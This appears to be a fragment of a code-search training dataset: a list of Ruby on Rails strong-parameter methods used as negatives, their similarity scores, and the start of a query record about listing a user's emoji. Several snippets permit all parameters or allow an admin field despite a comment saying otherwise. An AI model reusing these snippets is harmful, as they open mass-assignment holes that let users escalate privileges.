"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def filtering_params\n params.permit(:email)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def list_params\n params.permit(:name)\n end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def url_whitelist; end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def backend_user_params\n params.permit!\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] |
[
"0.6980629",
"0.67819995",
"0.67467666",
"0.67419875",
"0.67347664",
"0.65928614",
"0.6504013",
"0.6498014",
"0.64819515",
"0.64797956",
"0.64562726",
"0.64400834",
"0.6380117",
"0.6377456",
"0.63656694",
"0.6320543",
"0.63002014",
"0.62997127",
"0.629425",
"0.6293866",
"0.62909746",
"0.62904227",
"0.62837297",
"0.6240993",
"0.6239739",
"0.6217764",
"0.6214983",
"0.62112504",
"0.6194765",
"0.6178",
"0.61755055",
"0.61729854",
"0.61636627",
"0.6153461",
"0.6151674",
"0.61478525",
"0.6122671",
"0.61188513",
"0.61075556",
"0.6105721",
"0.6092412",
"0.6081011",
"0.6071054",
"0.6064436",
"0.6022111",
"0.6018135",
"0.60151577",
"0.60108894",
"0.60070235",
"0.60070235",
"0.6000806",
"0.6000464",
"0.5998811",
"0.59926987",
"0.5992257",
"0.5991173",
"0.5980311",
"0.59660876",
"0.59596545",
"0.5959415",
"0.59589994",
"0.5957478",
"0.5953214",
"0.5952233",
"0.5944033",
"0.59396756",
"0.59396756",
"0.59386414",
"0.59345603",
"0.5931261",
"0.5926345",
"0.5925795",
"0.59174526",
"0.59108645",
"0.5909469",
"0.5908263",
"0.59053195",
"0.58980685",
"0.5897738",
"0.589657",
"0.5895971",
"0.58942044",
"0.5892847",
"0.588742",
"0.58834344",
"0.5880024",
"0.58739793",
"0.5868253",
"0.5867907",
"0.58670515",
"0.58668053",
"0.5865756",
"0.5863549",
"0.5863236",
"0.5862728",
"0.5861283",
"0.58591247",
"0.5855159",
"0.5854291",
"0.58512247",
"0.58498096"
] |
0.0
|
-1
|
GET /users/:user_id/xemojis GET /users/:user_id/xemojis.json
|
def index
@xemojis = XemojisForUserService.new({user: @user}).call
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def scrape_emoji_page(url)\n body = @agent.get(clean_url(url)).body\n { unicode: body.scan(/U\\+[\\w\\d]{4,6}/),\n shortcodes: body.scan(/\\:[\\w\\_\\-\\d]+:/) }\n end",
"def get_twitch_emoticons\n # Get Emoticons for Channel\n headers = {\n 'Accept' => 'application/vnd.twitchtv.v3+json',\n 'Client-ID' => 'efq3aoz1vvrtac1wz0ojszl54p6uuw'\n }\n http_response = self.class.get(\n \"https://api.twitch.tv/kraken/chat/#{@twitch_channel}/emoticons\",\n headers: headers\n )\n response = JSON.parse(http_response.body, symbolize_names: true)\n emoticons = response[:emoticons]\n emoticons = emoticons.select do |e|\n e[:state] == 'active' && e[:subscriber_only]\n end\n emoticons\n end",
"def draw_emoji(x, y, xx, width, char, mh, test)\n @emojis = 0 unless @emojis\n bitmap = Cache.system('Emojiset')\n em_index = Emoji.get(char)\n rect = Rect.new(em_index % 16 * 24, em_index / 16 * 24, 24, 24)\n if xx > width - 24\n xx = 0\n y += 24\n raise TooMuchTextEception.new('Limite superato') if mh && y > mh\n end\n self.blt(x + xx, y, bitmap, rect) unless test\n xx += 24\n @emojis += 1\n {:x => xx, :y => y}\n end",
"def admin_emoji_list(options = {})\n if block_given?\n Pagination::Cursor.new(self, :admin_emoji_list, options).each do |page|\n yield page\n end\n else\n post('admin.emoji.list', options)\n end\n end",
"def emojis\n @emojis ||= EmojiData.find_by_str(self.text).uniq { |e| e.unified }\n end",
"def edit_emoji(auth, server_id, emoji_id, name, reason = nil)\n MijDiscord::Core::API.request(\n :guilds_sid_emojis_eid,\n server_id,\n :patch,\n \"#{MijDiscord::Core::API::APIBASE_URL}/guilds/#{server_id}/emojis/#{emoji_id}\",\n { name: name }.to_json,\n Authorization: auth,\n content_type: :json,\n 'X-Audit-Log-Reason': reason\n )\n end",
"def show\n @sprite = current_user.sprites.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @sprite }\n end\n end",
"def to_emojipacks_yaml(raw_emoticon_response)\n result_hash = {\n 'title' => @twitch_channel,\n 'emojis' => []\n }\n raw_emoticon_response.each do |e|\n result_hash['emojis'] << { 'name' => e[:regex].downcase, 'src' => e[:url] }\n end\n result_hash.to_yaml\n end",
"def add_emoji(auth, server_id, image, name, reason = nil)\n MijDiscord::Core::API.request(\n :guilds_sid_emojis,\n server_id,\n :post,\n \"#{MijDiscord::Core::API::APIBASE_URL}/guilds/#{server_id}/emojis\",\n { image: image, name: name }.to_json,\n Authorization: auth,\n content_type: :json,\n 'X-Audit-Log-Reason': reason\n )\n end",
"def show\n @user = User.find_by_username(params[:id])\n @no_replies = true\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end",
"def replace_emoji(text)\n emojis = Mumuki::Emojis::EMOJIS\n text.gsub(/:([^\\s:])+:/) do |short_name|\n short_code = short_name.gsub(':', '')\n emoji = emojis[short_code]\n if emoji\n %{<i class=\"mu-emoji #{emoji['ca']} _#{emoji['co']}\" title=\"#{short_name}\"></i>}\n else\n short_name\n end\n end\n end",
"def icon\n icon_data = User.where(:id => params[:id]).first.try(:icons)\n \n respond_to do |format|\n format.html { redirect_to root_path } # search.html.erb\n format.json { render json: icon_data }\n end\n end",
"def emoji; end",
"def index\n @user_icons = @user_iconable.users_icons\n\n respond_to do |format|\n format.html # index.html.erb\n end\n end",
"def find_emoji(key, server = nil)\n server = server || $bot.servers[SERVER_ID] || $bot.servers.first\n return if server.nil?\n if key.is_a?(Integer)\n server.emojis[key]\n elsif key.is_a?(String)\n server.emojis.find{ |id, e| e.name.downcase.include?(key.downcase) }[1]\n else\n nil\n end\nrescue\n nil\nend",
"def index\n if params[:user_id]\n @characters = User.find(params[:user_id]).characters\n else\n @characters = Character.all\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @characters }\n end\n end",
"def ImageStore(smiley)\n Net::HTTP.start('www.emoji-cheat-sheet.com') do |http|\n res = http.get('/graphics/emojis/'+smiley+'.png')\n File.open('public/smileys/'+smiley+'.png', 'wb') { |file| file.write(res.body) }\n end\n end",
"def index\n @user_exts = UserExt.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @user_exts }\n end\n end",
"def show \n @user = User.find_by_id(params[:id])\n respond_to do |format|\n format.html\n format.json { render json: @user.to_json(:methods => [:avatar_url]) }\n end\n end",
"def show \n @user = User.find_by_id(params[:id])\n respond_to do |format|\n format.html\n format.json { render json: @user.to_json(:methods => [:avatar_url]) }\n end\n end",
"def slack_emoji\n @slack_emoji ||= EmojiDiffer::SlackApi.new(@slack_token).emoji\n end",
"def notify_adding_emoji(emoji_name)\n @websocket_connection.send(\n {\n type: 'message',\n text: \"New Emojis Published! :#{emoji_name}:\",\n channel: @bot_notification_channel\n }.to_json\n )\n end",
"def user\n @user = User.find(params[:id])\n @episodes = @user.episodes.order(@order).paginate(@page)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @episodes, callback: params[:callback] }\n format.xml { render xml: @episodes }\n format.rss { render 'feed' }\n end\n end",
"def emoji_image_from_unicode(unicode)\n emoji = Emoji.find_by_unicode(unicode)\n\n if emoji && !EMOJI_IGNORE.include?(emoji.name)\n name = \":#{emoji.name}:\"\n path = File.join(@options[:emoji_asset_path], emoji.image_filename)\n\n %(<img alt=\"#{name}\" title=\"#{name}\" src=\"#{path}\" class=\"emoji\" width=\"20\" height=\"20\" />)\n else\n unicode\n end\n end",
"def index\n @characters = @user.characters.find :all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @characters }\n end\n end",
"def index\n if current_user\n @sprites = current_user.sprites\n end\n\n respond_to do |format|\n format.html # index.html.erb\n end\n end",
"def show\n @weixin_user = current_user.weixin_users.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @weixin_user }\n end\n end",
"def show\n @user = User.find(params[:id])\n @microposts = @user.microposts.not_messages.paginate(:page=>params[:page], :per_page => 5)\n @title = \"Show '#{@user.name}'\"\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end",
"def emojis\n return 0 unless @emojis\n @emojis\n end",
"def emoji\n if failure?\n FAILURE_EMOJI\n else\n ERROR_EMOJI\n end\n end",
"def get_data; @data = Emoji.elements; end",
"def render(text, emojis)\n emoji_index_cycle = (0...emojis.size).cycle\n\n char_maps = text.split('')\n .map { |char|\n downcase_char_map(char)\n # char_map(char)\n }.compact # get the map for each letter\n .map { |cm| cm.join(\"\\n\").gsub(/[^ \\n]/, emoji_index_cycle.next.to_s).split(\"\\n\") } # 'o' -> (0..N)\n\n asciiart = concat_letters_with_kerning(char_maps).join(\"\\n\")\n # puts asciiart\n\n emojis.each_with_index do |em, i|\n asciiart.gsub!(i.to_s, \":#{emojis[i]}:\")\n end\n\n asciiart.gsub(' ', ':transparent:')\nend",
"def show\n @user_ext = UserExt.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user_ext }\n end\n end",
"def e(content, params = {})\n clazz = params.fetch(:class, 'emoji')\n content.gsub(Unicode::Emoji::REGEX, '<span class=\"' + clazz + '\">\\0</span>')\nend",
"def show\n @title = \"\"\n\n puts '====================== show'\n\n @user = User.find(params[:id])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json=> { \n :user=>@user.as_json(:only => [:id, :name, :invitation_token, :notify, :buddy, :gender, :displayname], :methods => [:photo_url],\n :include => { \n :rounds => { }\n }\n ) \n } }\n end\n end",
"def emoji_chars\n @emoji_chars ||= self.emojis.map { |e| e.char }\n end",
"def find_emoji(name)\n LOGGER.out(\"Resolving emoji #{name}\")\n emoji.find { |element| element.name == name }\n end",
"def show\n @euclid_user_message = EuclidUserMessage.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @euclid_user_message }\n end\n end",
"def update_guild_emoji(data)\n server_id = data['guild_id'].to_i\n server = @servers[server_id]\n server.update_emoji_data(data)\n end",
"def render_emoticons(cache)\n string = cache.get('emoticons')\n hash = JSON.parse(string)\n emoticons = hash['items']\n end",
"def on_mention(json)\n event = json[:event]\n authed_users = json[:authed_users]\n text = event[:text].strip\n text = text.gsub(Regexp.union(*authed_users.map {|s| \"<@#{ s }>\" }), \"\").strip\n\n json = command(text) do |progress|\n case progress\n when :start\n post(\"reactions.add\", channel: event[:channel], name: EMOJI, timestamp: event[:ts])\n when :end\n post(\"reactions.remove\", channel: event[:channel], name: EMOJI, timestamp: event[:ts])\n end\n end\n\n if json\n json[:thread_ts] = event[:thread_ts] || event[:ts] if json[:thread_ts]\n post(\"chat.postMessage\", channel: event[:channel], **json)\n end\n end",
"def user_icon_large(user)\n icon = user_icon_image_tag(icon_name(user), size: Settings.icon_size.large)\n icon << raw(\"<font size='#{Settings.font_size_addition.large}'> #{nickname(user)}</font>\")\n raw icon\n end",
"def avatar\n respond_with(@user)\n end",
"def index\n @user_mentions = UserMention.all\n end",
"def delete_emoji(auth, server_id, emoji_id, reason = nil)\n MijDiscord::Core::API.request(\n :guilds_sid_emojis_eid,\n server_id,\n :delete,\n \"#{MijDiscord::Core::API::APIBASE_URL}/guilds/#{server_id}/emojis/#{emoji_id}\",\n Authorization: auth,\n 'X-Audit-Log-Reason': reason\n )\n end",
"def display_emoji_break\n emoji = $EMOJIS.sample\n print \"#{emoji} \" * 15\n print \" #{path_clip} \"\n puts \"#{emoji} \" * 15\nend",
"def SmileyExist(smiley)\n uri = URI('http://www.emoji-cheat-sheet.com/graphics/emojis/'+smiley+'.png')\n res = Net::HTTP.get_response(uri)\n\n if res.code == '200'\n return true\n else\n return false\n end\n end",
"def emoji_image_filter(text)\n text.gsub(emoji_pattern) do |match|\n name = $1\n \"<span class='emoji'>#{emoji_unicode_replacement(name)}</span>\"\n end\n end",
"def new_query\n hipchat = HipChat.new.get_emoticons\n\n # Proceed only if GET request is successful\n if hipchat.response.code != 200.to_s\n raise \"Unable to successfully query the HipChat API. Error code: #{hipchat.response.code}\"\n end\n\n # Return body of GET request from HipChat\n emoticons = hipchat.response.body\n end",
"def show\n @user = User.find(params[:id])\n @texts = Text.where({user_id: current_user.id})\n respond_to do |format|\n format.html{}\n format.json {render json: @user}\n\n end\n end",
"def index\n respond_to do |format|\n format.html { render 'application/cube_trainer' }\n format.json { render json: @user.messages }\n end\n end",
"def embed_url\n params = {\n showChat: false,\n userName: Rack::Utils.escape(h.current_user.username)\n }\n\n \"#{url}?#{params.to_query}\"\n end",
"def index\n @emails = @user.emails\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @emails }\n end\n end",
"def index\n @emails = @user.emails\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @emails }\n end\n end",
"def show_user\n usernames = params.require(:usernames)\n\n identities = Hash[User.where(username: usernames).map { |u| [u.username, u.custom_fields[DiscourseEncrypt::PUBLIC_CUSTOM_FIELD]] }]\n\n render json: identities\n end",
"def show\n @user = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user }\n format.png\n end\n end",
"def cache_emoji\n @cache_emoji ||= cache.load\n end",
"def valid_emoji?(emoji)\n Emoji.find_by_name emoji\n end",
"def user_content(user, options = {})\n options = options.clone\n username = user\n\n path = \"user/#{username}/%s.json\" % (options[:category] if options[:category])\n options.delete :category\n\n objects_from_response(:get, path, options)\n end",
"def user_icon(size, user)\n iconname = icon_name(user)\n icon = user_icon_image_tag(iconname, size: size)\n icon << \" \"\n icon << nickname(user)\n return icon unless user\n link = link_to user_path(user.id) do\n icon\n end\n link\n end",
"def username\n respond_to do |format|\n format.json { render :ok, json: @user.username.to_json }\n end\n end",
"def scanEmojiFiles()\r\n Dir.entries(@emojiDir).each { |fileName|\r\n if fileName[0..6] == \"emoji_u\"\r\n ext=fileName[-4..-1]\r\n imageBaseName=fileName[7..-5]\r\n if ext != \".png\" and ext != \".svg\"\r\n raise \"Oops: Emoji file \\\"\" + fileName + \"\\\" is neither PNG nor SVG.\"\r\n end\r\n if @emojiExt == nil\r\n @emojiExt = ext\r\n end\r\n if ext != @emojiExt\r\n raise \"Oops: Both PNG and SVG emoji found.\"\r\n end\r\n @emojiFiles.add(imageBaseName)\r\n end\r\n }\r\n end",
"def index\n @eicons = Eicon.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @eicons }\n end\n end",
"def show\n respond_to do |format|\n format.html\n format.json { render :json => {:user => @user.as_json(:json => 'wall') }}\n end\n end",
"def json_response_for_slack(reply)\n response = { text: reply, link_names: 1 }\n response[:username] = ENV[\"BOT_USERNAME\"] unless ENV[\"BOT_USERNAME\"].nil?\n response[:icon_emoji] = ENV[\"BOT_ICON\"] unless ENV[\"BOT_ICON\"].nil?\n response.to_json\nend",
"def json_response_for_slack(reply)\n response = { text: reply, link_names: 1 }\n response[:username] = ENV[\"BOT_USERNAME\"] unless ENV[\"BOT_USERNAME\"].nil?\n response[:icon_emoji] = ENV[\"BOT_ICON\"] unless ENV[\"BOT_ICON\"].nil?\n response.to_json\nend",
"def index\n @user_avatars = UserAvatar.all\n end",
"def index\n \t#@qr = RQRCode::QRCode.new(request.url, :size => 6)\n\n \t@title = \"Users List\"\n @navinner = \"1\"\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def process_anim_emoji(c, pos)\n text_width = 24\n letter = Sprite_TextAnim.new(self.viewport)\n icon_bitmap = Cache.system(\"Emoji\")\n bitmap = Bitmap.new(24, pos[:height])\n rect = Rect.new(c % 16 * 24, c / 16 * 24, 24, 24)\n bitmap.blt(0, 0, icon_bitmap, rect)\n letter.bitmap = bitmap\n letter.x = pos[:x] + self.standard_padding\n letter.y += WiggleText::DROP_HEIGHT if WiggleText::DROP_IN\n letter.y = self.y + standard_padding + pos[:y]\n letter.z = self.z + 10\n letter.anim_offset = @animchars.size\n letter.anim_type = @anim_type\n tuckie_extra(letter)\n letter.update\n #bitmap.draw_text(0, 0, text_width * 2, pos[:height], c)\n @animchars.push(letter)\n pos[:x] += text_width\n end",
"def index\n if params[:user_id]\n @user = User.find params[:user_id]\n @cards = @user.cards\n @actions = [{\"YGO战网\" => users_path}, @user, \"常用卡片\"]\n else\n @cards = Card.joins(:duel_user_cards)\n @actions = [{\"YGO战网\" => users_path}, \"卡片排行\"]\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @cards }\n end\n end",
"def nick_history\n _uuid = uuid.gsub(/-/, '')\n url = \"https://api.mojang.com/user/profiles/#{_uuid}/names\"\n response = Net::HTTP.get_response(URI.parse(url))\n json = JSON.parse(response.body)\n end",
"def index\n input = params[:search]\n if input.length > 2\n sql = \"name LIKE '%#{input}%' OR email LIKE '%#{input}%'\"\n else\n sql = \"name LIKE '#{input.titleize}%' OR email LIKE '#{input}%'\"\n end\n @users = User.where(sql)\n @users_avatars = @users.map { |user| {avatar_url: user.avatar.url(:icon), id: user.id}}\n @friends = current_user.friends\n respond_to do |format|\n format.html { render :index }\n format.json { render json: {users: @users, user_avatars: @users_avatars, friends: @friends, current_user_id: current_user.id}}\n end\n\n end",
"def index\n respond_to do |format|\n format.html # index.html.erb\n format.xml # index.xml.builder\n format.json { render :json => BioCatalogue::Api::Json.index(\"users\", json_api_params, @users).to_json }\n format.bljson { render :json => BioCatalogue::Api::Bljson.index(\"users\", @users).to_json }\n end\n end",
"def index\n @user = current_user\n @messages = current_user.extension.messages\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @messages }\n end\n end",
"def get_avatar\n KAG.get \"/player/#@nick/avatar\"\n end",
"def show\n begin\n user = User.find(params[:user_id])\n render json: { users: user }, status: :ok\n rescue => e\n render json: { errors: e.message}, status: 404\n end\n end",
"def admin_emoji_remove(options = {})\n raise ArgumentError, 'Required arguments :name missing' if options[:name].nil?\n post('admin.emoji.remove', options)\n end",
"def index\n @riffblobs = current_user.riffblobs\n respond_to do |format|\n format.json { render json: @riffblobs.as_json }\n end\n end",
"def me\n render status: 200, json: current_user.db_user.as_json(only: [:id, :email], include: { discord_identity: { }, roles: { include: { nested_roles: { include: { role_nested: { } } } } } }, methods: [:main_character])\n end",
"def index\n @users = Question.users\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @questions }\n end\n end",
"def im_for_user(username)\n user = users.find do |u|\n u['name'] == username\n end\n ims.find do |im|\n im['user'] == user['id']\n end\n end",
"def index\n begin\n @list_title = \"Your characters\"\n if params[:user_id]\n @user = User.friendly.find(params[:user_id])\n if @user && @user != current_user\n @list_title = \"#{@user.username}'s characters\"\n end\n else\n @user = current_user\n end\n @characters = Character.where(:user_id => @user.id).includes(:race).includes(:career)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @characters.to_json(include: [:race, :career]) }\n format.xml { render xml: @characters.to_xml(include: [:race, :career, :weapons, :armors, :gears]) }\n end\n rescue ActiveRecord::RecordNotFound\n redirect_to :root\n return\n end\n end",
"def emoji_image_filter(text)\n return text unless text.include?(':')\n\n text.gsub(emoji_pattern) do |match|\n name = $1\n \"<img class='emoji' title=':#{name}:' alt=':#{name}:' src='#{emoji_url(name)}' height='20' width='20' align='absmiddle' />\"\n end\n end",
"def show\n @image = current_user.sprites.find(params[:sprite_id]).images.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n end\n end",
"def show\n @character = current_user.characters.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @character }\n end\n end",
"def show\n user = User.find(params[:id])\n render json: user.to_json(\n :include => [:topics, {:meetups => {:include => :topic}}, :comments])\n end",
"def index\n respond_to do |format|\n format.json { render :json => jsonp(favourites_to_json(current_user.favourites)) }\n format.xml { render :xml => favourites_to_xml(current_user.favourites) }\n format.text { render :text => text_not_supported }\n end\n end",
"def index\n\t\t@keyboard_shortcuts = current_user.keyboard_shortcuts.all\n\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.xml { render :xml => @keyboard_shortcuts }\n\t\t\tformat.json { render :json => @keyboard_shortcuts }\n\t\t\tformat.yaml { render :text => @keyboard_shortcuts.to_yaml, :content_type => 'text/yaml' }\n\t\tend\n\tend",
"def index\n @users = User.where(:alive => true).order(\"nick ASC\")\n @headline = t(:all_users)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @users }\n end\n end",
"def index\n authorize! :manage, @users\n\n @users = @users.includes(:character).ordered\n\n respond_to do |format|\n format.html { @users = @users.page(params[:page]).per(50) }\n format.json { }\n end\n end",
"def get_24h_moji_json_list(mojifile)\n jsl=[]\n File.open(mojifile, 'r:utf-8') do |file|\n file.each do |line|\n jsl.push(line)\n end\n end\n jsl\n end",
"def index\n if current_user\n @episodes = current_user.episodes.order(@order).paginate(@page)\n else\n @episodes = Episode.where(user_id: 1).order(@order).paginate(@page)\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @episodes, callback: params[:callback] }\n format.xml { render xml: @episodes }\n format.rss { render 'feed' }\n end\n end",
"def user_url(user)\n \"http://last.fm/user/\" + user\n end",
"def emoji_image_filter(text)\n HTML::Pipeline::EmojiFilter.new(nil, asset_root: '/images').emoji_image_filter(text)\n end",
"def index_user\n\t\t@user_convos = Conversation.involving_user(params[:user_id])\n\t\trender_list_of_convos(@user_convos)\n\tend",
"def index\n @user = User.find(current_user.id)\n @userpop = @user.userpop3s.all\n @usermails = @user.usermails.all\n end",
"def show\n @users_exchange = UsersExchange.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @users_exchange }\n end\n end",
"def index\n @notifications = Notification.all\n @notifications = @notifications.select { |x| x.user_id == params[:user_id].to_i }\n render json: { items: @notifications }\n end",
"def emoji_src(config = {})\n if config.key?(\"emoji\") && config[\"emoji\"].key?(\"src\")\n config[\"emoji\"][\"src\"]\n else\n default_asset_root\n end\n end",
"def show\n @xinyongtongji = Xinyongtongji.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @xinyongtongji }\n end\n end"
] |
[
"0.59091413",
"0.58683527",
"0.5760412",
"0.56899124",
"0.5521206",
"0.5507339",
"0.54718137",
"0.53935355",
"0.533379",
"0.5317179",
"0.5302984",
"0.52921474",
"0.5285064",
"0.52808297",
"0.526442",
"0.52467793",
"0.52236485",
"0.52196753",
"0.52190584",
"0.52190584",
"0.5217516",
"0.52174544",
"0.51903325",
"0.51845497",
"0.51691073",
"0.5149268",
"0.5140075",
"0.5138895",
"0.51353395",
"0.5124566",
"0.5121943",
"0.51026267",
"0.5054766",
"0.5037098",
"0.50338423",
"0.5033473",
"0.5011058",
"0.4955975",
"0.4955274",
"0.4953497",
"0.49533972",
"0.49422494",
"0.49294695",
"0.4915947",
"0.4907517",
"0.48879245",
"0.48780194",
"0.48720545",
"0.4845105",
"0.48435667",
"0.4839382",
"0.4821972",
"0.48133653",
"0.48133653",
"0.48131165",
"0.4812545",
"0.48044395",
"0.48014453",
"0.480065",
"0.4800449",
"0.48001775",
"0.47951266",
"0.47886235",
"0.47711417",
"0.474084",
"0.474084",
"0.4739085",
"0.47380126",
"0.4736966",
"0.47325552",
"0.47317955",
"0.47297156",
"0.47294617",
"0.4723212",
"0.47228763",
"0.47224602",
"0.4717651",
"0.47145355",
"0.4703149",
"0.47015297",
"0.46877524",
"0.46692416",
"0.46673042",
"0.4666804",
"0.46599537",
"0.4640241",
"0.4628611",
"0.4622967",
"0.46214628",
"0.4614385",
"0.46081027",
"0.4605224",
"0.46048176",
"0.4590329",
"0.45812076",
"0.4574159",
"0.4571157",
"0.45615447",
"0.45583722",
"0.45563456"
] |
0.8067735
|
0
|
GET /users/:user_id/xemojis/1 GET /users/:user_id/xemojis/1.json
|
def show
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @xemojis = XemojisForUserService.new({user: @user}).call\n end",
"def scrape_emoji_page(url)\n body = @agent.get(clean_url(url)).body\n { unicode: body.scan(/U\\+[\\w\\d]{4,6}/),\n shortcodes: body.scan(/\\:[\\w\\_\\-\\d]+:/) }\n end",
